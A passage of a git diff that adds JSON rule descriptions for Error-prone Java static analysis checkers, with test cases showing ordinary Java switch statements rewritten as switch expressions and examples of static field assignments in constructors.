(suit) {\n case Suit.HEART -> 1;\n case Suit.CLUB -> 2;\n case Suit.DIAMOND -> 3;\n case Suit.SPADE -> 4;\n };\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchToVarInVariableDeclaratorList_error", + "expected-problems": null, + "expected-linenumbers": [ + 2604 + ], + "code": "class Test {\n public int foo(Suit suit) {\n var a = 0;\n String b = \"b\";\n int y = 0, x;\n switch (suit) {\n case HEART:\n case DIAMOND:\n x = ((y + 1) * (y * y)) << 1;\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n var a = 0;\n String b = \"b\";\n int y = 0, x;\n x =\n switch (suit) {\n case HEART, DIAMOND -> ((y + 1) * (y * y)) << 1;\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchCombinedWithPrecedingVariableDeclaration_error", + "expected-problems": null, + "expected-linenumbers": [ + 2658 + ], + "code": "import java.lang.annotation.Repeatable;\n import java.util.HashMap;\n import java.util.Map;\n import java.util.Set;\n\n class Test {\n @interface MyAnnos {\n Test.MyAnno[] value();\n }\n\n @Repeatable(Test.MyAnnos.class)\n @interface MyAnno {\n String v() default \"\";\n }\n\n @interface MyOtherAnno {}\n\n public int y = 0;\n\n public int foo(Suit suit) {\n @MyAnno(v = \"foo\")\n // alpha\n /* beta */ @MyOtherAnno\n @MyAnno\n final /* chi */ int /* gamma */ x /* delta */; // epsilon\n // zeta\n switch (suit) {\n case HEART:\n case DIAMOND:\n x = ((y + 1) * (y * y)) << 1;\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n Map map = null;\n switch (suit) {\n case HEART:\n case DIAMOND:\n map = new HashMap<>();\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n import java.lang.annotation.Repeatable;\n import java.util.HashMap;\n import java.util.Map;\n import java.util.Set;\n\n class Test {\n @interface MyAnnos {\n Test.MyAnno[] value();\n }\n\n @Repeatable(Test.MyAnnos.class)\n @interface MyAnno {\n String v() default \"\";\n }\n\n @interface MyOtherAnno {}\n\n public int y = 0;\n\n public int foo(Suit suit) {\n // epsilon\n // zeta\n // alpha\n /* beta */\n /* chi */\n /* gamma */\n /* delta */\n @MyAnno(v = \"foo\")\n @MyOtherAnno\n @MyAnno\n final int x =\n switch (suit) {\n case HEART, DIAMOND -> ((y + 1) * (y * y)) << 1;\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n\n Map map =\n switch (suit) {\n case HEART, DIAMOND -> new HashMap<>();\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "variableInTransitiveEnclosingBlock_shouldNotBeMoved", + "expected-problems": null, + "expected-linenumbers": [ + 2776 + ], + "code": "import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n public Map foo(Suit suit) {\n Map map = null;\n if (toString().length() == 2)\n switch (suit) {\n case HEART:\n case DIAMOND:\n map = new HashMap<>();\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return map;\n }\n }\n \n\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n public Map foo(Suit suit) {\n Map map = null;\n if (toString().length() == 2)\n map =\n switch (suit) {\n case HEART, DIAMOND -> new HashMap<>();\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return map;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchToInitializedtAsConstant_error", + "expected-problems": null, + "expected-linenumbers": [ + 2829 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int y = 0;\n var x = 999;\n switch (suit) {\n case HEART:\n case DIAMOND:\n x = ((y + 1) * (y * y)) << 1;\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int y = 0;\n\n var x =\n switch (suit) {\n case HEART, DIAMOND -> ((y + 1) * (y * y)) << 1;\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchToNearbyDefined_error", + "expected-problems": null, + "expected-linenumbers": [ + 2880 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int z = 3;\n int x;\n int y;\n switch (suit) {\n case HEART:\n case DIAMOND:\n x = ((z + 1) * (z * z)) << 1;\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int z = 3;\n int x;\n int y;\n x =\n switch (suit) {\n case HEART, DIAMOND -> ((z + 1) * (z * z)) << 1;\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchDifferentBlockScope_error", + "expected-problems": null, + "expected-linenumbers": [ + 2933 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int z = 3;\n int x;\n {\n {\n switch (suit) {\n case HEART:\n case DIAMOND:\n x = ((z + 1) * (z * z)) << 1;\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int z = 3;\n int x;\n {\n {\n x =\n switch (suit) {\n case HEART, DIAMOND -> ((z + 1) * (z * z)) << 1;\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n }\n }\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchToLocalHasDefaultVolatile_error", + "expected-problems": null, + "expected-linenumbers": [ + 2993 + ], + "code": "class Test {\n volatile int v = 0;\n\n public int foo(Suit suit) {\n int z = 3;\n int x = v;\n switch (suit) {\n case HEART:\n case DIAMOND:\n x = ((z + 1) * (z * z)) << 1;\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n volatile int v = 0;\n\n public int foo(Suit suit) {\n int z = 3;\n int x = v;\n x =\n switch (suit) {\n case HEART, DIAMOND -> ((z + 1) * (z * z)) << 1;\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchMixedReferences_error", + "expected-problems": null, + "expected-linenumbers": [ + 3053 + ], + "code": "class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n /* Comment before first case */\n case /* LHS comment */ HEART:\n // Inline comment\n this.x <<= 2;\n break;\n case DIAMOND:\n x <<= (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n this.x <<=\n switch (suit) {\n case HEART ->\n /* Comment before first case */\n /* LHS comment */\n // Inline comment\n 2;\n case DIAMOND -> (((x + 1) * (x * x)) << 1);\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchMixedReferences_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3120 + ], + "code": "class Test {\n int x, y;\n\n public Test(int foo) {\n x = -1;\n y = -1;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n x = 2;\n break;\n case DIAMOND:\n this.y = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchTwoAssignments_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3158 + ], + "code": "class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n x = 2;\n x = 3;\n break;\n case DIAMOND:\n this.x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchToSingleArray_error", + "expected-problems": null, + "expected-linenumbers": [ + 3196 + ], + "code": "class Test {\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo(Suit suit) {\n switch (suit) {\n case HEART:\n throw new RuntimeException();\n case DIAMOND:\n x[6] <<= (((x[6] + 1) * (x[6] * x[5]) << 1));\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo(Suit suit) {\n x[6] <<=\n switch (suit) {\n case HEART -> throw new RuntimeException();\n case DIAMOND -> (((x[6] + 1) * (x[6] * x[5]) << 1));\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchToMultipleArray_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3254 + ], + "code": "class Test {\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo(Suit suit) {\n switch (suit) {\n case HEART:\n // Inline comment\n x[6] <<= 2;\n break;\n case DIAMOND:\n x[6] <<= (((x[6] + 1) * (x[6] * x[5]) << 1));\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchToMultipleDistinct_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3294 + ], + "code": "class Test {\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo(Suit suit) {\n switch (suit) {\n case HEART:\n // Inline comment\n x[6] <<= 2;\n break;\n case DIAMOND:\n x[5] <<= (((x[6] + 1) * (x[6] * x[5]) << 1));\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentSwitchMixedKinds_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3332 + ], + "code": "class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n x += 2;\n break;\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentLabelledContinue_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3370 + ], + "code": "class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n before:\n for (; ; ) {\n switch (suit) {\n case HEART:\n x = 2;\n break;\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n continue before;\n default:\n throw new NullPointerException();\n }\n break;\n }\n after:\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentLabelledBreak_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3411 + ], + "code": "class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n before:\n for (; ; ) {\n switch (suit) {\n case HEART:\n x = 2;\n break;\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n break before;\n default:\n throw new NullPointerException();\n }\n break;\n }\n after:\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentLabelledBreak2_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3453 + ], + "code": "class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n before:\n for (; ; ) {\n switch (suit) {\n case HEART:\n x = 2;\n break;\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n x = 3;\n break before;\n default:\n throw new NullPointerException();\n }\n break;\n }\n after:\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentUnlabelledContinue_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3496 + ], + "code": "class Test {\n int x;\n\n public Test(int foo) {\n x = -1;\n }\n\n public int foo(Suit suit) {\n before:\n for (; ; ) {\n switch (suit) {\n case HEART:\n x = 2;\n break;\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n continue;\n default:\n throw new NullPointerException();\n }\n break;\n }\n after:\n return x;\n }\n }" + }, + { + "description": "switchByEnum_assignmentYield_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3537 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int x =\n switch (suit) {\n case HEART:\n yield 2;\n case DIAMOND:\n yield 3;\n case SPADE:\n // Fall through\n default:\n throw new NullPointerException();\n };\n x <<= 1;\n return x;\n }\n }" + }, + { + "description": "switchByEnum_exhaustiveAssignmentSwitch_error", + "expected-problems": null, + "expected-linenumbers": [ + 3568 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int x = 0;\n switch (suit) {\n case HEART:\n // Heart comment\n // Fall through\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 2);\n break;\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int x = 0;\n x =\n switch (suit) {\n case HEART, DIAMOND ->\n // Heart comment\n (((x + 1) * (x * x)) << 2);\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_canRemoveDefault_error", + "expected-problems": null, + "expected-linenumbers": [ + 3627 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int x = 0;\n switch (suit) {\n case HEART:\n // Heart comment\n // Fall through\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 2);\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n // This is unlikely to be reached\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int x = 0;\n x =\n switch (suit) {\n case HEART, DIAMOND ->\n // Heart comment\n (((x + 1) * (x * x)) << 2);\n case SPADE -> throw new RuntimeException();\n default ->\n // This is unlikely to be reached\n throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int x = 0;\n switch (suit) {\n case HEART:\n // Heart comment\n // Fall through\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 2);\n break;\n case SPADE:\n throw new RuntimeException();\n default:\n // This is unlikely to be reached\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int x = 0;\n x =\n switch (suit) {\n case HEART, DIAMOND ->\n // Heart comment\n (((x + 1) * (x * x)) << 2);\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_exhaustiveCompoundAssignmentSwitch_error", + "expected-problems": null, + "expected-linenumbers": [ + 3737 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int x = 0;\n switch (suit) {\n case HEART:\n case DIAMOND:\n x += (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int x = 0;\n x +=\n switch (suit) {\n case HEART, DIAMOND -> (((x + 1) * (x * x)) << 1);\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_groupedComments_error", + "expected-problems": null, + "expected-linenumbers": [ + 3784 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int x = 0;\n switch (suit) {\n case /* red suit */ HEART:\n // Heart comment\n case /* red suit */ DIAMOND: // sparkles\n // Diamond comment\n // Fall through\n case /* black suit */ SPADE:\n x *= 2;\n // Before break comment\n break;\n // After break comment\n case /* black suit */ CLUB:\n // Club comment\n throw new NullPointerException();\n // Club after throw comment\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int x = 0;\n x *=\n switch (suit) {\n case HEART, DIAMOND, SPADE ->\n /* red suit */\n // Heart comment\n /* red suit */\n // sparkles\n // Diamond comment\n /* black suit */\n 2;\n // Before break comment\n // After break comment\n case CLUB ->\n /* black suit */\n // Club comment\n throw new NullPointerException();\n // Club after throw comment\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_compoundAssignmentExampleInDocumentation_error", + "expected-problems": null, + "expected-linenumbers": [ + 3849 + ], + "code": "class Test {\n int score = 0;\n\n private void updateScore(Suit suit) {\n switch (suit) {\n case HEART:\n // Fall through\n case DIAMOND:\n score += -1;\n break;\n case SPADE:\n score += 2;\n break;\n case CLUB:\n score += 3;\n }\n }\n }\n \n\n class Test {\n int score = 0;\n\n private void updateScore(Suit suit) {\n score +=\n switch (suit) {\n case HEART, DIAMOND -> -1;\n case SPADE -> 2;\n case CLUB -> 3;\n };\n }\n }" + }, + { + "description": "switchByEnum_exhaustiveAssignmentSwitchCaseList_error", + "expected-problems": null, + "expected-linenumbers": [ + 3898 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int x = 0;\n switch (suit) {\n case HEART, DIAMOND:\n x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE, CLUB:\n throw new NullPointerException();\n }\n return x;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n int x = 0;\n x =\n switch (suit) {\n case HEART, DIAMOND -> (((x + 1) * (x * x)) << 1);\n case SPADE, CLUB -> throw new NullPointerException();\n };\n return x;\n }\n }" + }, + { + "description": "switchByEnum_nonExhaustiveAssignmentSwitch_noError", + "expected-problems": null, + "expected-linenumbers": [ + 3941 + ], + "code": "class Test {\n public int foo(Suit suit) {\n int x = 0;\n switch (suit) {\n case DIAMOND:\n x = (((x + 1) * (x * x)) << 1);\n break;\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n return x;\n }\n }" + }, + { + "description": "mixedExpressionsAndYields", + "expected-problems": null, + "expected-linenumbers": [ + 3970 + ], + "code": "public class Test {\n String f(int x) {\n switch (x) {\n case 0:\n return \"ZERO\";\n case 1:\n return \"ONE\";\n case 2: // hello\n // world\n System.err.println();\n System.err.println();\n return \"TWO\";\n // hello\n // world\n default:\n return \"\";\n }\n }\n }\n \n\n public class Test {\n String f(int x) {\n return switch (x) {\n case 0 -> \"ZERO\";\n case 1 -> \"ONE\";\n case 2 -> {\n // hello\n // world\n System.err.println();\n System.err.println();\n yield \"TWO\";\n }\n // hello\n // world\n default -> \"\";\n };\n }\n }" + }, + { + "description": "fallOutComment", + "expected-problems": null, + "expected-linenumbers": [ + 4024 + ], + "code": "public class Test {\n String f(int x) {\n switch (x) {\n case 0:\n return \"ZERO\";\n default: // fall out\n }\n return \"\";\n }\n }\n \n\n public class Test {\n String f(int x) {\n switch (x) {\n case 0 -> {\n return \"ZERO\";\n }\n default -> {}\n }\n return \"\";\n }\n }" + }, + { + "description": "directConversion_casePatternWithGuard_noError", + "expected-problems": null, + "expected-linenumbers": [ + 4062 + ], + "code": "class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo(String s) {\n switch (s) {\n case String str\n when str.equals(\"good\"):\n break;\n case String str\n when str.equals(\"bad\"):\n break;\n default:\n throw new RuntimeException();\n }\n return x;\n }\n }" + }, + { + "description": "switchByEnum_nullDefaultFallsOut_error", + "expected-problems": null, + "expected-linenumbers": [ + 4100 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n return 1;\n case SPADE:\n System.out.println(\"hello\");\n throw new RuntimeException();\n case null:\n default:\n System.out.println(\"fall out\");\n }\n return 2;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case HEART, DIAMOND -> {\n return 1;\n }\n case SPADE -> {\n System.out.println(\"hello\");\n throw new RuntimeException();\n }\n case null, default -> System.out.println(\"fall out\");\n }\n return 2;\n }\n }" + }, + { + "description": "switchByEnum_onlyDefault_error", + "expected-problems": null, + "expected-linenumbers": [ + 4149 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n default:\n throw new NullPointerException();\n }\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n switch (suit) {\n default -> throw new NullPointerException();\n }\n }\n }" + }, + { + "description": "directConversion_casePatternWithoutGuard_noError", + "expected-problems": null, + "expected-linenumbers": [ + 4181 + ], + "code": "class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo(String s) {\n switch (s) {\n case String str:\n String[] foo = {\"hello\", \"world\"};\n break;\n }\n return x;\n }\n }" + }, + { + "description": "directConversion_lexicalScopeOverlap_error", + "expected-problems": null, + "expected-linenumbers": [ + 4214 + ], + "code": "class Test {\n int[] x = null;\n\n public int[] foo() {\n int z = 0;\n switch (z) {\n case 1:\n String foo = \"hello\";\n break;\n case 2:\n // Here, foo is defined but maybe uninitialized\n foo = \"there\";\n // Here, foo is defined and initialized\n }\n return x;\n }\n }\n \n\n class Test {\n int[] x = null;\n\n public int[] foo() {\n int z = 0;\n String foo;\n switch (z) {\n case 1 -> {\n foo = \"hello\";\n }\n case 2 ->\n // Here, foo is defined but maybe uninitialized\n foo = \"there\";\n // Here, foo is defined and initialized\n }\n return x;\n }\n }" + }, + { + "description": "directConversion_lexicalScopeOverlap2_error", + "expected-problems": null, + "expected-linenumbers": [ + 4265 + ], + "code": "import java.lang.annotation.Repeatable;\n import java.util.ArrayList;\n import java.util.Map;\n\n class Test {\n @interface MyAnnos {\n Test.MyAnno[] value();\n }\n\n @Repeatable(Test.MyAnnos.class)\n @interface MyAnno {\n String v() default \"\";\n }\n\n @interface MyOtherAnno {}\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo() {\n int z = 0;\n switch (z) {\n case 0:\n case 1:\n @MyAnno(v = \"foo\")\n // alpha\n /* beta */ @MyOtherAnno\n @MyAnno\n /* aa */ String /* bb */ foo /* cc */ = /* dd */ \"hello\" /* ee */; // ff\n var anotherString = \"salut\";\n var listInt = new ArrayList();\n double dontHoistMe = 2.0d;\n dontHoistMe += 1.0d;\n int alsoDontHoistMe = 1;\n System.out.println(alsoDontHoistMe);\n Map map = null;\n break;\n case 2:\n map = null;\n foo = \"there\";\n anotherString = \"bonjour\";\n listInt = null;\n break;\n case 3:\n anotherString = \"just this var\";\n int staysHere;\n }\n return x;\n }\n }\n \n\n import java.lang.annotation.Repeatable;\n import java.util.ArrayList;\n import java.util.Map;\n\n class Test {\n @interface MyAnnos {\n Test.MyAnno[] value();\n }\n\n @Repeatable(Test.MyAnnos.class)\n @interface MyAnno {\n String v() default \"\";\n }\n\n @interface MyOtherAnno {}\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo() {\n int z = 0;\n // alpha\n /* beta */\n /* aa */\n /* bb */\n /* cc */\n /* dd */\n /* ee */\n @MyAnno(v = \"foo\")\n @MyOtherAnno\n @MyAnno\n String foo;\n String anotherString;\n ArrayList listInt;\n Map map;\n switch (z) {\n case 0, 1 -> {\n foo = \"hello\";\n anotherString = \"salut\";\n listInt = new ArrayList();\n double dontHoistMe = 2.0d;\n dontHoistMe += 1.0d;\n int alsoDontHoistMe = 1;\n System.out.println(alsoDontHoistMe);\n map = null;\n }\n case 2 -> {\n map = null;\n foo = \"there\";\n anotherString = \"bonjour\";\n listInt = null;\n }\n case 3 -> {\n anotherString = \"just this var\";\n int staysHere;\n }\n }\n return x;\n }\n }" + }, + { + "description": "directConversion_hoistArray_noError", + "expected-problems": null, + "expected-linenumbers": [ + 4399 + ], + "code": "class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo() {\n int z = 0;\n switch (z) {\n case 1:\n String[] foo = {\"hello\", \"world\"};\n break;\n case 2:\n foo = null;\n }\n return x;\n }\n }" + }, + { + "description": "directConversion_hoistWithNamingConflictAbove_noError", + "expected-problems": null, + "expected-linenumbers": [ + 4432 + ], + "code": "class Test {\n\n public Test() {}\n\n public void foo() {\n int z = 0;\n switch (z) {\n case 0:\n // Fall thru\n case 1:\n var anotherString = \"salut\";\n if (anotherString.length() > 0) {\n // Note that this would pose a naming conflict with `foo` below (if hoisted)\n String foo = \"salut salut\";\n anotherString = foo;\n }\n double dontHoistMe = 2.0d;\n break;\n case 2:\n String foo = \"there\";\n anotherString = \"bonjour\";\n break;\n case 3:\n anotherString = \"just this var\";\n foo = \"baz\";\n int staysHere;\n }\n return;\n }\n }" + }, + { + "description": "directConversion_hoistWithNamingConflictSameCase_noError", + "expected-problems": null, + "expected-linenumbers": [ + 4476 + ], + "code": "class Test {\n\n public Test() {}\n\n public void foo() {\n int z = 0;\n switch (z) {\n case 0:\n // Fall thru\n case 1:\n var anotherString = \"salut\";\n double dontHoistMe = 2.0d;\n break;\n case 2:\n anotherString = \"bonjour\";\n if (anotherString.length() > 0) {\n // Note that this would pose a naming conflict with `foo` below (if hoisted)\n String foo = \"salut salut\";\n anotherString = foo;\n }\n String foo = \"there\";\n break;\n case 3:\n anotherString = \"just this var\";\n foo = \"baz\";\n int staysHere;\n }\n return;\n }\n }" + }, + { + "description": "directConversion_hoistIntersectionType_noError", + "expected-problems": null, + "expected-linenumbers": [ + 4520 + ], + "code": "class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo() {\n int z = 1;\n switch (z) {\n case 1:\n var foo = (CharSequence & Comparable) \"hello\";\n break;\n case 2:\n foo = \"there\";\n }\n return x;\n }\n }" + }, + { + "description": "directConversion_typeParameterWithIntersection_error", + "expected-problems": null, + "expected-linenumbers": [ + 4552 + ], + "code": "class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public static > int[] foo() {\n int z = 1;\n switch (z) {\n case 1:\n T foo = null;\n break;\n case 2:\n System.out.println(\"Somehow, z was 2.\");\n foo = null;\n }\n return new int[0];\n }\n }\n \n\n class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public static > int[] foo() {\n int z = 1;\n T foo;\n switch (z) {\n case 1 -> {\n foo = null;\n }\n case 2 -> {\n System.out.println(\"Somehow, z was 2.\");\n foo = null;\n }\n }\n return new int[0];\n }\n }" + }, + { + "description": "directConversion_lexicalScopeOverlap3_error", + "expected-problems": null, + "expected-linenumbers": [ + 4613 + ], + "code": "class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo() {\n int z = 0;\n myLabel:\n switch (z) {\n case 1:\n String foo = \"hello\";\n break;\n case 2:\n foo = \"there\";\n }\n return x;\n }\n }\n \n\n class Test {\n\n int[] x;\n\n public Test(int foo) {\n x = null;\n }\n\n public int[] foo() {\n int z = 0;\n myLabel:\n {\n String foo;\n switch (z) {\n case 1 -> {\n foo = \"hello\";\n }\n case 2 -> foo = \"there\";\n }\n }\n return x;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentInConstructor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentInConstructor.json new file mode 100644 index 0000000..7b25e17 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentInConstructor.json @@ -0,0 +1,46 @@ +{ + "name": "StaticAssignmentInConstructor", + "language": "java", + "description": "This assignment is to a static field. Mutating static state from a constructor is highly error-prone.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n static int foo;\n\n public Test(int foo) {\n // BUG: Diagnostic contains:\n this.foo = foo;\n }\n }" + }, + { + "description": "dubiousStorageOfLatestInstance_exempted", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class Test {\n static Test latest;\n\n public Test() {\n latest = this;\n }\n }" + }, + { + "description": "instanceField_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "class Test {\n int foo;\n\n public Test(int foo) {\n this.foo = foo;\n }\n }" + }, + { + "description": "assignedWithinLambda_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Test {\n static int foo;\n\n public Test(int a) {\n java.util.Arrays.asList().stream()\n .map(\n x -> {\n foo = 1;\n return a;\n })\n .count();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentOfThrowable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentOfThrowable.json new file mode 100644 index 0000000..d111a63 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentOfThrowable.json @@ -0,0 +1,94 @@ +{ + "name": "StaticAssignmentOfThrowable", + "language": "java", + "description": "Saving instances of Throwable in static fields is discouraged, prefer to create them on-demand when an exception is thrown", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "staticWithThrowableInMethod_error", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n static Throwable foo;\n\n public Test(int foo) {}\n\n public void foo() {\n // 